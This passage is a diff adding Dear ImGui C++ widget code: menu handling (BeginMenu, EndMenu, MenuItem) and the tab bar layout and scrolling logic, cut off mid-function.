to amplify relative Z-ordering. + ImVec2 popup_pos, pos = window->DC.CursorPos; + if (window->DC.LayoutType == ImGuiLayoutType_Horizontal) + { + // Menu inside an horizontal menu bar + // Selectable extend their highlight by half ItemSpacing in each direction. + // For ChildMenu, the popup position will be overwritten by the call to FindBestWindowPosForPopup() in Begin() + popup_pos = ImVec2(pos.x - 1.0f - IM_FLOOR(style.ItemSpacing.x * 0.5f), pos.y - style.FramePadding.y + window->MenuBarHeight()); + window->DC.CursorPos.x += IM_FLOOR(style.ItemSpacing.x * 0.5f); + PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(style.ItemSpacing.x * 2.0f, style.ItemSpacing.y)); + float w = label_size.x; + pressed = Selectable(label, menu_is_open, ImGuiSelectableFlags_NoHoldingActiveID | ImGuiSelectableFlags_SelectOnClick | ImGuiSelectableFlags_DontClosePopups | (!enabled ? ImGuiSelectableFlags_Disabled : 0), ImVec2(w, 0.0f)); + PopStyleVar(); + window->DC.CursorPos.x += IM_FLOOR(style.ItemSpacing.x * (-1.0f + 0.5f)); // -1 spacing to compensate the spacing added when Selectable() did a SameLine(). It would also work to call SameLine() ourselves after the PopStyleVar(). + } + else + { + // Menu inside a menu + // (In a typical menu window where all items are BeginMenu() or MenuItem() calls, extra_w will always be 0.0f. + // Only when they are other items sticking out we're going to add spacing, yet only register minimum width into the layout system. + popup_pos = ImVec2(pos.x, pos.y - style.WindowPadding.y); + float min_w = window->DC.MenuColumns.DeclColumns(label_size.x, 0.0f, IM_FLOOR(g.FontSize * 1.20f)); // Feedback to next frame + float extra_w = ImMax(0.0f, GetContentRegionAvail().x - min_w); + pressed = Selectable(label, menu_is_open, ImGuiSelectableFlags_NoHoldingActiveID | ImGuiSelectableFlags_SelectOnClick | ImGuiSelectableFlags_DontClosePopups | ImGuiSelectableFlags_SpanAvailWidth | (!enabled ? ImGuiSelectableFlags_Disabled : 0), ImVec2(min_w, 0.0f)); + ImU32 text_col = GetColorU32(enabled ? ImGuiCol_Text : ImGuiCol_TextDisabled); + RenderArrow(window->DrawList, pos + ImVec2(window->DC.MenuColumns.Pos[2] + extra_w + g.FontSize * 0.30f, 0.0f), text_col, ImGuiDir_Right); + } + + const bool hovered = enabled && ItemHoverable(window->DC.LastItemRect, id); + if (menuset_is_open) + g.NavWindow = backed_nav_window; + + bool want_open = false; + bool want_close = false; + if (window->DC.LayoutType == ImGuiLayoutType_Vertical) // (window->Flags & (ImGuiWindowFlags_Popup|ImGuiWindowFlags_ChildMenu)) + { + // Close menu when not hovering it anymore unless we are moving roughly in the direction of the menu + // Implement http://bjk5.com/post/44698559168/breaking-down-amazons-mega-dropdown to avoid using timers, so menus feels more reactive. + bool moving_toward_other_child_menu = false; + + ImGuiWindow* child_menu_window = (g.BeginPopupStack.Size < g.OpenPopupStack.Size && g.OpenPopupStack[g.BeginPopupStack.Size].SourceWindow == window) ? g.OpenPopupStack[g.BeginPopupStack.Size].Window : NULL; + if (g.HoveredWindow == window && child_menu_window != NULL && !(window->Flags & ImGuiWindowFlags_MenuBar)) + { + // FIXME-DPI: Values should be derived from a master "scale" factor. + ImRect next_window_rect = child_menu_window->Rect(); + ImVec2 ta = g.IO.MousePos - g.IO.MouseDelta; + ImVec2 tb = (window->Pos.x < child_menu_window->Pos.x) ? next_window_rect.GetTL() : next_window_rect.GetTR(); + ImVec2 tc = (window->Pos.x < child_menu_window->Pos.x) ? next_window_rect.GetBL() : next_window_rect.GetBR(); + float extra = ImClamp(ImFabs(ta.x - tb.x) * 0.30f, 5.0f, 30.0f); // add a bit of extra slack. + ta.x += (window->Pos.x < child_menu_window->Pos.x) ? -0.5f : +0.5f; // to avoid numerical issues + tb.y = ta.y + ImMax((tb.y - extra) - ta.y, -100.0f); // triangle is maximum 200 high to limit the slope and the bias toward large sub-menus // FIXME: Multiply by fb_scale? + tc.y = ta.y + ImMin((tc.y + extra) - ta.y, +100.0f); + moving_toward_other_child_menu = ImTriangleContainsPoint(ta, tb, tc, g.IO.MousePos); + //GetForegroundDrawList()->AddTriangleFilled(ta, tb, tc, moving_within_opened_triangle ? IM_COL32(0,128,0,128) : IM_COL32(128,0,0,128)); // [DEBUG] + } + if (menu_is_open && !hovered && g.HoveredWindow == window && g.HoveredIdPreviousFrame != 0 && g.HoveredIdPreviousFrame != id && !moving_toward_other_child_menu) + want_close = true; + + if (!menu_is_open && hovered && pressed) // Click to open + want_open = true; + else if (!menu_is_open && hovered && !moving_toward_other_child_menu) // Hover to open + want_open = true; + + if (g.NavActivateId == id) + { + want_close = menu_is_open; + want_open = !menu_is_open; + } + if (g.NavId == id && g.NavMoveRequest && g.NavMoveDir == ImGuiDir_Right) // Nav-Right to open + { + want_open = true; + NavMoveRequestCancel(); + } + } + else + { + // Menu bar + if (menu_is_open && pressed && menuset_is_open) // Click an open menu again to close it + { + want_close = true; + want_open = menu_is_open = false; + } + else if (pressed || (hovered && menuset_is_open && !menu_is_open)) // First click to open, then hover to open others + { + want_open = true; + } + else if (g.NavId == id && g.NavMoveRequest && g.NavMoveDir == ImGuiDir_Down) // Nav-Down to open + { + want_open = true; + NavMoveRequestCancel(); + } + } + + if (!enabled) // explicitly close if an open menu becomes disabled, facilitate users code a lot in pattern such as 'if (BeginMenu("options", has_object)) { ..use object.. }' + want_close = true; + if (want_close && IsPopupOpen(id, ImGuiPopupFlags_None)) + ClosePopupToLevel(g.BeginPopupStack.Size, true); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags | ImGuiItemStatusFlags_Openable | (menu_is_open ? ImGuiItemStatusFlags_Opened : 0)); + + if (!menu_is_open && want_open && g.OpenPopupStack.Size > g.BeginPopupStack.Size) + { + // Don't recycle same menu level in the same frame, first close the other menu and yield for a frame. + OpenPopup(label); + return false; + } + + menu_is_open |= want_open; + if (want_open) + OpenPopup(label); + + if (menu_is_open) + { + SetNextWindowPos(popup_pos, ImGuiCond_Always); + menu_is_open = BeginPopupEx(id, flags); // menu_is_open can be 'false' when the popup is completely clipped (e.g. zero size display) + } + else + { + g.NextWindowData.ClearFlags(); // We behave like Begin() and need to consume those values + } + + return menu_is_open; +} + +void ImGui::EndMenu() +{ + // Nav: When a left move request _within our child menu_ failed, close ourselves (the _parent_ menu). + // A menu doesn't close itself because EndMenuBar() wants the catch the last Left<>Right inputs. + // However, it means that with the current code, a BeginMenu() from outside another menu or a menu-bar won't be closable with the Left direction. + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (g.NavWindow && g.NavWindow->ParentWindow == window && g.NavMoveDir == ImGuiDir_Left && NavMoveRequestButNoResultYet() && window->DC.LayoutType == ImGuiLayoutType_Vertical) + { + ClosePopupToLevel(g.BeginPopupStack.Size, true); + NavMoveRequestCancel(); + } + + EndPopup(); +} + +bool ImGui::MenuItem(const char* label, const char* shortcut, bool selected, bool enabled) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + ImGuiStyle& style = g.Style; + ImVec2 pos = window->DC.CursorPos; + ImVec2 label_size = CalcTextSize(label, NULL, true); + + // We've been using the equivalent of ImGuiSelectableFlags_SetNavIdOnHover on all Selectable() since early Nav system days (commit 43ee5d73), + // but I am unsure whether this should be kept at all. For now moved it to be an opt-in feature used by menus only. + ImGuiSelectableFlags flags = ImGuiSelectableFlags_SelectOnRelease | ImGuiSelectableFlags_SetNavIdOnHover | (enabled ? 0 : ImGuiSelectableFlags_Disabled); + bool pressed; + if (window->DC.LayoutType == ImGuiLayoutType_Horizontal) + { + // Mimic the exact layout spacing of BeginMenu() to allow MenuItem() inside a menu bar, which is a little misleading but may be useful + // Note that in this situation we render neither the shortcut neither the selected tick mark + float w = label_size.x; + window->DC.CursorPos.x += IM_FLOOR(style.ItemSpacing.x * 0.5f); + PushStyleVar(ImGuiStyleVar_ItemSpacing, ImVec2(style.ItemSpacing.x * 2.0f, style.ItemSpacing.y)); + pressed = Selectable(label, false, flags, ImVec2(w, 0.0f)); + PopStyleVar(); + window->DC.CursorPos.x += IM_FLOOR(style.ItemSpacing.x * (-1.0f + 0.5f)); // -1 spacing to compensate the spacing added when Selectable() did a SameLine(). It would also work to call SameLine() ourselves after the PopStyleVar(). + } + else + { + // Menu item inside a vertical menu + // (In a typical menu window where all items are BeginMenu() or MenuItem() calls, extra_w will always be 0.0f. + // Only when they are other items sticking out we're going to add spacing, yet only register minimum width into the layout system. + float shortcut_w = shortcut ? CalcTextSize(shortcut, NULL).x : 0.0f; + float min_w = window->DC.MenuColumns.DeclColumns(label_size.x, shortcut_w, IM_FLOOR(g.FontSize * 1.20f)); // Feedback for next frame + float extra_w = ImMax(0.0f, GetContentRegionAvail().x - min_w); + pressed = Selectable(label, false, flags | ImGuiSelectableFlags_SpanAvailWidth, ImVec2(min_w, 0.0f)); + if (shortcut_w > 0.0f) + { + PushStyleColor(ImGuiCol_Text, g.Style.Colors[ImGuiCol_TextDisabled]); + RenderText(pos + ImVec2(window->DC.MenuColumns.Pos[1] + extra_w, 0.0f), shortcut, NULL, false); + PopStyleColor(); + } + if (selected) + RenderCheckMark(window->DrawList, pos + ImVec2(window->DC.MenuColumns.Pos[2] + extra_w + g.FontSize * 0.40f, g.FontSize * 0.134f * 0.5f), GetColorU32(enabled ? ImGuiCol_Text : ImGuiCol_TextDisabled), g.FontSize * 0.866f); + } + + IMGUI_TEST_ENGINE_ITEM_INFO(window->DC.LastItemId, label, window->DC.ItemFlags | ImGuiItemStatusFlags_Checkable | (selected ? ImGuiItemStatusFlags_Checked : 0)); + return pressed; +} + +bool ImGui::MenuItem(const char* label, const char* shortcut, bool* p_selected, bool enabled) +{ + if (MenuItem(label, shortcut, p_selected ? *p_selected : false, enabled)) + { + if (p_selected) + *p_selected = !*p_selected; + return true; + } + return false; +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: BeginTabBar, EndTabBar, etc. +//------------------------------------------------------------------------- +// - BeginTabBar() +// - BeginTabBarEx() [Internal] +// - EndTabBar() +// - TabBarLayout() [Internal] +// - TabBarCalcTabID() [Internal] +// - TabBarCalcMaxTabWidth() [Internal] +// - TabBarFindTabById() [Internal] +// - TabBarRemoveTab() [Internal] +// - TabBarCloseTab() [Internal] +// - TabBarScrollClamp() [Internal] +// - TabBarScrollToTab() [Internal] +// - TabBarQueueChangeTabOrder() [Internal] +// - TabBarScrollingButtons() [Internal] +// - TabBarTabListPopupButton() [Internal] +//------------------------------------------------------------------------- + +struct ImGuiTabBarSection +{ + int TabCount; // Number of tabs in this section. + float Width; // Sum of width of tabs in this section (after shrinking down) + float Spacing; // Horizontal spacing at the end of the section. + + ImGuiTabBarSection() { memset(this, 0, sizeof(*this)); } +}; + +namespace ImGui +{ + static void TabBarLayout(ImGuiTabBar* tab_bar); + static ImU32 TabBarCalcTabID(ImGuiTabBar* tab_bar, const char* label); + static float TabBarCalcMaxTabWidth(); + static float TabBarScrollClamp(ImGuiTabBar* tab_bar, float scrolling); + static void TabBarScrollToTab(ImGuiTabBar* tab_bar, ImGuiTabItem* tab, ImGuiTabBarSection* sections); + static ImGuiTabItem* TabBarScrollingButtons(ImGuiTabBar* tab_bar); + static ImGuiTabItem* TabBarTabListPopupButton(ImGuiTabBar* tab_bar); +} + +ImGuiTabBar::ImGuiTabBar() +{ + memset(this, 0, sizeof(*this)); + CurrFrameVisible = PrevFrameVisible = -1; + LastTabItemIdx = -1; +} + +static int IMGUI_CDECL TabItemComparerBySection(const void* lhs, const void* rhs) +{ + const ImGuiTabItem* a = (const ImGuiTabItem*)lhs; + const ImGuiTabItem* b = (const ImGuiTabItem*)rhs; + const int a_section = (a->Flags & ImGuiTabItemFlags_Leading) ? 0 : (a->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; + const int b_section = (b->Flags & ImGuiTabItemFlags_Leading) ? 0 : (b->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; + if (a_section != b_section) + return a_section - b_section; + return (int)(a->IndexDuringLayout - b->IndexDuringLayout); +} + +static int IMGUI_CDECL TabItemComparerByBeginOrder(const void* lhs, const void* rhs) +{ + const ImGuiTabItem* a = (const ImGuiTabItem*)lhs; + const ImGuiTabItem* b = (const ImGuiTabItem*)rhs; + return (int)(a->BeginOrder - b->BeginOrder); +} + +static ImGuiTabBar* GetTabBarFromTabBarRef(const ImGuiPtrOrIndex& ref) +{ + ImGuiContext& g = *GImGui; + return ref.Ptr ? (ImGuiTabBar*)ref.Ptr : g.TabBars.GetByIndex(ref.Index); +} + +static ImGuiPtrOrIndex GetTabBarRefFromTabBar(ImGuiTabBar* tab_bar) +{ + ImGuiContext& g = *GImGui; + if (g.TabBars.Contains(tab_bar)) + return ImGuiPtrOrIndex(g.TabBars.GetIndex(tab_bar)); + return ImGuiPtrOrIndex(tab_bar); +} + +bool ImGui::BeginTabBar(const char* str_id, ImGuiTabBarFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return false; + + ImGuiID id = window->GetID(str_id); + ImGuiTabBar* tab_bar = g.TabBars.GetOrAddByKey(id); + ImRect tab_bar_bb = ImRect(window->DC.CursorPos.x, window->DC.CursorPos.y, window->WorkRect.Max.x, window->DC.CursorPos.y + g.FontSize + g.Style.FramePadding.y * 2); + tab_bar->ID = id; + return BeginTabBarEx(tab_bar, tab_bar_bb, flags | ImGuiTabBarFlags_IsFocused); +} + +bool ImGui::BeginTabBarEx(ImGuiTabBar* tab_bar, const ImRect& tab_bar_bb, ImGuiTabBarFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return false; + + if ((flags & ImGuiTabBarFlags_DockNode) == 0) + PushOverrideID(tab_bar->ID); + + // Add to stack + g.CurrentTabBarStack.push_back(GetTabBarRefFromTabBar(tab_bar)); + g.CurrentTabBar = tab_bar; + + // Append with multiple BeginTabBar()/EndTabBar() pairs. + tab_bar->BackupCursorPos = window->DC.CursorPos; + if (tab_bar->CurrFrameVisible == g.FrameCount) + { + window->DC.CursorPos = ImVec2(tab_bar->BarRect.Min.x, tab_bar->BarRect.Max.y + tab_bar->ItemSpacingY); + tab_bar->BeginCount++; + return true; + } + + // Ensure correct ordering when toggling ImGuiTabBarFlags_Reorderable flag, or when a new tab was added while being not reorderable + if ((flags & ImGuiTabBarFlags_Reorderable) != (tab_bar->Flags & ImGuiTabBarFlags_Reorderable) || (tab_bar->TabsAddedNew && !(flags & ImGuiTabBarFlags_Reorderable))) + if (tab_bar->Tabs.Size > 1) + ImQsort(tab_bar->Tabs.Data, tab_bar->Tabs.Size, sizeof(ImGuiTabItem), TabItemComparerByBeginOrder); + tab_bar->TabsAddedNew = false; + + // Flags + if ((flags & ImGuiTabBarFlags_FittingPolicyMask_) == 0) + flags |= ImGuiTabBarFlags_FittingPolicyDefault_; + + tab_bar->Flags = flags; + tab_bar->BarRect = tab_bar_bb; + tab_bar->WantLayout = true; // Layout will be done on the first call to ItemTab() + tab_bar->PrevFrameVisible = tab_bar->CurrFrameVisible; + tab_bar->CurrFrameVisible = g.FrameCount; + tab_bar->PrevTabsContentsHeight = tab_bar->CurrTabsContentsHeight; + tab_bar->CurrTabsContentsHeight = 0.0f; + tab_bar->ItemSpacingY = g.Style.ItemSpacing.y; + tab_bar->FramePadding = g.Style.FramePadding; + tab_bar->TabsActiveCount = 0; + tab_bar->BeginCount = 1; + + // Set cursor pos in a way which only be used in the off-chance the user erroneously submits item before BeginTabItem(): items will overlap + window->DC.CursorPos = ImVec2(tab_bar->BarRect.Min.x, tab_bar->BarRect.Max.y + tab_bar->ItemSpacingY); + + // Draw separator + const ImU32 col = GetColorU32((flags & ImGuiTabBarFlags_IsFocused) ? ImGuiCol_TabActive : ImGuiCol_TabUnfocusedActive); + const float y = tab_bar->BarRect.Max.y - 1.0f; + { + const float separator_min_x = tab_bar->BarRect.Min.x - IM_FLOOR(window->WindowPadding.x * 0.5f); + const float separator_max_x = tab_bar->BarRect.Max.x + IM_FLOOR(window->WindowPadding.x * 0.5f); + window->DrawList->AddLine(ImVec2(separator_min_x, y), ImVec2(separator_max_x, y), col, 1.0f); + } + return true; +} + +void ImGui::EndTabBar() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return; + + ImGuiTabBar* tab_bar = g.CurrentTabBar; + if (tab_bar == NULL) + { + IM_ASSERT_USER_ERROR(tab_bar != NULL, "Mismatched BeginTabBar()/EndTabBar()!"); + return; + } + + // Fallback in case no TabItem have been submitted + if (tab_bar->WantLayout) + TabBarLayout(tab_bar); + + // Restore the last visible height if no tab is visible, this reduce vertical flicker/movement when a tabs gets removed without calling SetTabItemClosed(). + const bool tab_bar_appearing = (tab_bar->PrevFrameVisible + 1 < g.FrameCount); + if (tab_bar->VisibleTabWasSubmitted || tab_bar->VisibleTabId == 0 || tab_bar_appearing) + { + tab_bar->CurrTabsContentsHeight = ImMax(window->DC.CursorPos.y - tab_bar->BarRect.Max.y, tab_bar->CurrTabsContentsHeight); + window->DC.CursorPos.y = tab_bar->BarRect.Max.y + tab_bar->CurrTabsContentsHeight; + } + else + { + window->DC.CursorPos.y = tab_bar->BarRect.Max.y + tab_bar->PrevTabsContentsHeight; + } + if (tab_bar->BeginCount > 1) + window->DC.CursorPos = tab_bar->BackupCursorPos; + + if ((tab_bar->Flags & ImGuiTabBarFlags_DockNode) == 0) + PopID(); + + g.CurrentTabBarStack.pop_back(); + g.CurrentTabBar = g.CurrentTabBarStack.empty() ? NULL : GetTabBarFromTabBarRef(g.CurrentTabBarStack.back()); +} + +// This is called only once a frame before by the first call to ItemTab() +// The reason we're not calling it in BeginTabBar() is to leave a chance to the user to call the SetTabItemClosed() functions. +static void ImGui::TabBarLayout(ImGuiTabBar* tab_bar) +{ + ImGuiContext& g = *GImGui; + tab_bar->WantLayout = false; + + // Garbage collect by compacting list + // Detect if we need to sort out tab list (e.g. in rare case where a tab changed section) + int tab_dst_n = 0; + bool need_sort_by_section = false; + ImGuiTabBarSection sections[3]; // Layout sections: Leading, Central, Trailing + for (int tab_src_n = 0; tab_src_n < tab_bar->Tabs.Size; tab_src_n++) + { + ImGuiTabItem* tab = &tab_bar->Tabs[tab_src_n]; + if (tab->LastFrameVisible < tab_bar->PrevFrameVisible || tab->WantClose) + { + // Remove tab + if (tab_bar->VisibleTabId == tab->ID) { tab_bar->VisibleTabId = 0; } + if (tab_bar->SelectedTabId == tab->ID) { tab_bar->SelectedTabId = 0; } + if (tab_bar->NextSelectedTabId == tab->ID) { tab_bar->NextSelectedTabId = 0; } + continue; + } + if (tab_dst_n != tab_src_n) + tab_bar->Tabs[tab_dst_n] = tab_bar->Tabs[tab_src_n]; + + tab = &tab_bar->Tabs[tab_dst_n]; + tab->IndexDuringLayout = (ImS16)tab_dst_n; + + // We will need sorting if tabs have changed section (e.g. moved from one of Leading/Central/Trailing to another) + int curr_tab_section_n = (tab->Flags & ImGuiTabItemFlags_Leading) ? 0 : (tab->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; + if (tab_dst_n > 0) + { + ImGuiTabItem* prev_tab = &tab_bar->Tabs[tab_dst_n - 1]; + int prev_tab_section_n = (prev_tab->Flags & ImGuiTabItemFlags_Leading) ? 0 : (prev_tab->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; + if (curr_tab_section_n == 0 && prev_tab_section_n != 0) + need_sort_by_section = true; + if (prev_tab_section_n == 2 && curr_tab_section_n != 2) + need_sort_by_section = true; + } + + sections[curr_tab_section_n].TabCount++; + tab_dst_n++; + } + if (tab_bar->Tabs.Size != tab_dst_n) + tab_bar->Tabs.resize(tab_dst_n); + + if (need_sort_by_section) + ImQsort(tab_bar->Tabs.Data, tab_bar->Tabs.Size, sizeof(ImGuiTabItem), TabItemComparerBySection); + + // Calculate spacing between sections + sections[0].Spacing = sections[0].TabCount > 0 && (sections[1].TabCount + sections[2].TabCount) > 0 ? g.Style.ItemInnerSpacing.x : 0.0f; + sections[1].Spacing = sections[1].TabCount > 0 && sections[2].TabCount > 0 ? g.Style.ItemInnerSpacing.x : 0.0f; + + // Setup next selected tab + ImGuiID scroll_track_selected_tab_id = 0; + if (tab_bar->NextSelectedTabId) + { + tab_bar->SelectedTabId = tab_bar->NextSelectedTabId; + tab_bar->NextSelectedTabId = 0; + scroll_track_selected_tab_id = tab_bar->SelectedTabId; + } + + // Process order change request (we could probably process it when requested but it's just saner to do it in a single spot). + if (tab_bar->ReorderRequestTabId != 0) + { + if (TabBarProcessReorder(tab_bar)) + if (tab_bar->ReorderRequestTabId == tab_bar->SelectedTabId) + scroll_track_selected_tab_id = tab_bar->ReorderRequestTabId; + tab_bar->ReorderRequestTabId = 0; + } + + // Tab List Popup (will alter tab_bar->BarRect and therefore the available width!) + const bool tab_list_popup_button = (tab_bar->Flags & ImGuiTabBarFlags_TabListPopupButton) != 0; + if (tab_list_popup_button) + if (ImGuiTabItem* tab_to_select = TabBarTabListPopupButton(tab_bar)) // NB: Will alter BarRect.Min.x! + scroll_track_selected_tab_id = tab_bar->SelectedTabId = tab_to_select->ID; + + // Leading/Trailing tabs will be shrink only if central one aren't visible anymore, so layout the shrink data as: leading, trailing, central + // (whereas our tabs are stored as: leading, central, trailing) + int shrink_buffer_indexes[3] = { 0, sections[0].TabCount + sections[2].TabCount, sections[0].TabCount }; + g.ShrinkWidthBuffer.resize(tab_bar->Tabs.Size); + + // Compute ideal tabs widths + store them into shrink buffer + ImGuiTabItem* most_recently_selected_tab = NULL; + int curr_section_n = -1; + bool found_selected_tab_id = false; + for (int tab_n = 0; tab_n < tab_bar->Tabs.Size; tab_n++) + { + ImGuiTabItem* tab = &tab_bar->Tabs[tab_n]; + IM_ASSERT(tab->LastFrameVisible >= tab_bar->PrevFrameVisible); + + if ((most_recently_selected_tab == NULL || most_recently_selected_tab->LastFrameSelected < tab->LastFrameSelected) && !(tab->Flags & ImGuiTabItemFlags_Button)) + most_recently_selected_tab = tab; + if (tab->ID == tab_bar->SelectedTabId) + found_selected_tab_id = true; + if (scroll_track_selected_tab_id == 0 && g.NavJustMovedToId == tab->ID) + scroll_track_selected_tab_id = tab->ID; + + // Refresh tab width immediately, otherwise changes of style e.g. style.FramePadding.x would noticeably lag in the tab bar. + // Additionally, when using TabBarAddTab() to manipulate tab bar order we occasionally insert new tabs that don't have a width yet, + // and we cannot wait for the next BeginTabItem() call. We cannot compute this width within TabBarAddTab() because font size depends on the active window. + const char* tab_name = tab_bar->GetTabName(tab); + const bool has_close_button = (tab->Flags & ImGuiTabItemFlags_NoCloseButton) ? false : true; + tab->ContentWidth = TabItemCalcSize(tab_name, has_close_button).x; + + int section_n = (tab->Flags & ImGuiTabItemFlags_Leading) ? 0 : (tab->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; + ImGuiTabBarSection* section = §ions[section_n]; + section->Width += tab->ContentWidth + (section_n == curr_section_n ? g.Style.ItemInnerSpacing.x : 0.0f); + curr_section_n = section_n; + + // Store data so we can build an array sorted by width if we need to shrink tabs down + int shrink_buffer_index = shrink_buffer_indexes[section_n]++; + g.ShrinkWidthBuffer[shrink_buffer_index].Index = tab_n; + g.ShrinkWidthBuffer[shrink_buffer_index].Width = tab->ContentWidth; + + IM_ASSERT(tab->ContentWidth > 0.0f); + tab->Width = tab->ContentWidth; + } + + // Compute total ideal width (used for e.g. auto-resizing a window) + tab_bar->WidthAllTabsIdeal = 0.0f; + for (int section_n = 0; section_n < 3; section_n++) + tab_bar->WidthAllTabsIdeal += sections[section_n].Width + sections[section_n].Spacing; + + // Horizontal scrolling buttons + // (note that TabBarScrollButtons() will alter BarRect.Max.x) + if ((tab_bar->WidthAllTabsIdeal > tab_bar->BarRect.GetWidth() && tab_bar->Tabs.Size > 1) && !(tab_bar->Flags & ImGuiTabBarFlags_NoTabListScrollingButtons) && (tab_bar->Flags & ImGuiTabBarFlags_FittingPolicyScroll)) + if (ImGuiTabItem* scroll_track_selected_tab = TabBarScrollingButtons(tab_bar)) + { + scroll_track_selected_tab_id = scroll_track_selected_tab->ID; + if (!(scroll_track_selected_tab->Flags & ImGuiTabItemFlags_Button)) + tab_bar->SelectedTabId = scroll_track_selected_tab_id; + } + + // Shrink widths if full tabs don't fit in their allocated space + float section_0_w = sections[0].Width + sections[0].Spacing; + float section_1_w = sections[1].Width + sections[1].Spacing; + float section_2_w = sections[2].Width + sections[2].Spacing; + bool central_section_is_visible = (section_0_w + section_2_w) < tab_bar->BarRect.GetWidth(); + float width_excess; + if (central_section_is_visible) + width_excess = ImMax(section_1_w - (tab_bar->BarRect.GetWidth() - section_0_w - section_2_w), 0.0f); // Excess used to shrink central section + else + width_excess = (section_0_w + section_2_w) - tab_bar->BarRect.GetWidth(); // Excess used to shrink leading/trailing section + + // With ImGuiTabBarFlags_FittingPolicyScroll policy, we will only shrink leading/trailing if the central section is not visible anymore + if (width_excess > 0.0f && ((tab_bar->Flags & ImGuiTabBarFlags_FittingPolicyResizeDown) || !central_section_is_visible)) + { + int shrink_data_count = (central_section_is_visible ? sections[1].TabCount : sections[0].TabCount + sections[2].TabCount); + int shrink_data_offset = (central_section_is_visible ? sections[0].TabCount + sections[2].TabCount : 0); + ShrinkWidths(g.ShrinkWidthBuffer.Data + shrink_data_offset, shrink_data_count, width_excess); + + // Apply shrunk values into tabs and sections + for (int tab_n = shrink_data_offset; tab_n < shrink_data_offset + shrink_data_count; tab_n++) + { + ImGuiTabItem* tab = &tab_bar->Tabs[g.ShrinkWidthBuffer[tab_n].Index]; + float shrinked_width = IM_FLOOR(g.ShrinkWidthBuffer[tab_n].Width); + if (shrinked_width < 0.0f) + continue; + + int section_n = (tab->Flags & ImGuiTabItemFlags_Leading) ? 0 : (tab->Flags & ImGuiTabItemFlags_Trailing) ? 2 : 1; + sections[section_n].Width -= (tab->Width - shrinked_width); + tab->Width = shrinked_width; + } + } + + // Layout all active tabs + int section_tab_index = 0; + float tab_offset = 0.0f; + tab_bar->WidthAllTabs = 0.0f; + for (int section_n = 0; section_n < 3; section_n++) + { + ImGuiTabBarSection* section = §ions[section_n]; + if (section_n == 2) + tab_offset = ImMin(ImMax(0.0f, tab_bar->BarRect.GetWidth() - section->Width), tab_offset); + + for (int tab_n = 0; tab_n < section->TabCount; tab_n++) + { + ImGuiTabItem* tab = &tab_bar->Tabs[section_tab_index + tab_n]; + tab->Offset = tab_offset; + tab_offset += tab->Width + (tab_n < section->TabCount - 1 ? g.Style.ItemInnerSpacing.x : 0.0f); + } + tab_bar->WidthAllTabs += ImMax(section->Width + section->Spacing, 0.0f); + tab_offset += section->Spacing; + section_tab_index += section->TabCount; + } + + // If we have lost the selected tab, select the next most recently active one + if (found_selected_tab_id == false) + tab_bar->SelectedTabId = 0; + if (tab_bar->SelectedTabId == 0 && tab_bar->NextSelectedTabId == 0 && most_recently_selected_tab != NULL) + scroll_track_selected_tab_id = tab_bar->SelectedTabId = most_recently_selected_tab->ID; + + // Lock in visible tab + tab_bar->VisibleTabId = tab_bar->SelectedTabId; + tab_bar->VisibleTabWasSubmitted = false; + + // Update scrolling + if (scroll_track_selected_tab_id) + if (ImGuiTabItem* scroll_track_selected_tab = TabBarFindTabByID(tab_bar, scroll_track_selected_tab_id)) + TabBarScrollToTab(tab_bar, scroll_track_selected_tab, sections); + tab_bar->ScrollingAnim = TabBarScrollClamp(tab_bar, tab_bar->ScrollingAnim); + tab_bar->ScrollingTarget = TabBarScrollClamp(tab_bar, tab_bar->ScrollingTarget); + if (tab_bar->ScrollingAnim != tab_bar->ScrollingTarget) + { + // Scrolling speed adjust itself so we can always reach our target in 1/3 seconds. + // Teleport if we are aiming far off the visible line + tab_bar->ScrollingSpeed = ImMax(tab_bar->ScrollingSpeed, 70.0f * g.FontSize); + tab_bar->ScrollingSpeed = ImMax(tab_bar->ScrollingSpeed, ImFabs(tab_bar->ScrollingTarget - tab_bar->ScrollingAnim) / 0.3f); + const bool teleport = (tab_bar->PrevFrameVisible + 1 < g.FrameCount) || (tab_bar->ScrollingTargetDistToVisibility > 10.0f * g.FontSize); + tab_bar->ScrollingAnim = teleport ? tab_bar->ScrollingTarget : ImLinearSweep(tab_bar->ScrollingAnim, tab_bar->ScrollingTarget, g.IO.DeltaTime * tab_bar->ScrollingSpeed); + } + else + { + tab_bar->ScrollingSpeed = 0.0f; + } + tab_bar->ScrollingRectMinX = tab_bar->BarRect.Min.x + sections[0].Width + sections[0].Spacing; + tab_bar->ScrollingRectMaxX = tab_bar->BarRect.Max.x - sections[2].Width - sections[1].Spacing; + + // Clear name buffers + if ((tab_bar->Flags & ImGuiTabBarFlags_DockNode) == 0) + tab_bar->TabsNames.Buf.resize(0); + + // Actual layout in host window (we don't do it in BeginTabBar() so as not to waste an extra frame) + ImGuiWindow* window = g.CurrentWindow; + window->DC.CursorPos = tab_bar->BarRect.Min; + ItemSize(ImVec2(tab_bar->WidthAllTabsIdeal, tab_bar->BarRect.GetHeight()), tab_bar->FramePadding.y); +} + +// Dockables uses Name/ID in the global namespace. Non-dockable items use the ID stack. +static ImU32 ImGui::TabBarCalcTabID(ImGuiTabBar* tab_bar, const char* label) +{ + if (tab_bar->Flags & ImGuiTabBarFlags_DockNode) + { + ImGuiID id = ImHashStr(label); + KeepAliveID(id); + return id; + } + else + { + ImGuiWindow* window = GImGui->CurrentWindow; + return window->GetID(label); + } +} + +static float ImGui::TabBarCalcMaxTabWidth() +{ + ImGuiContext& g = *GImGui; + return g.FontSize * 20.0f; +} + +ImGuiTabItem* ImGui::TabBarFindTabByID(ImGuiTabBar* tab_bar, ImGuiID tab_id) +{ + if (tab_id != 0) + for (int n = 0; n < tab_bar->Tabs.Size; 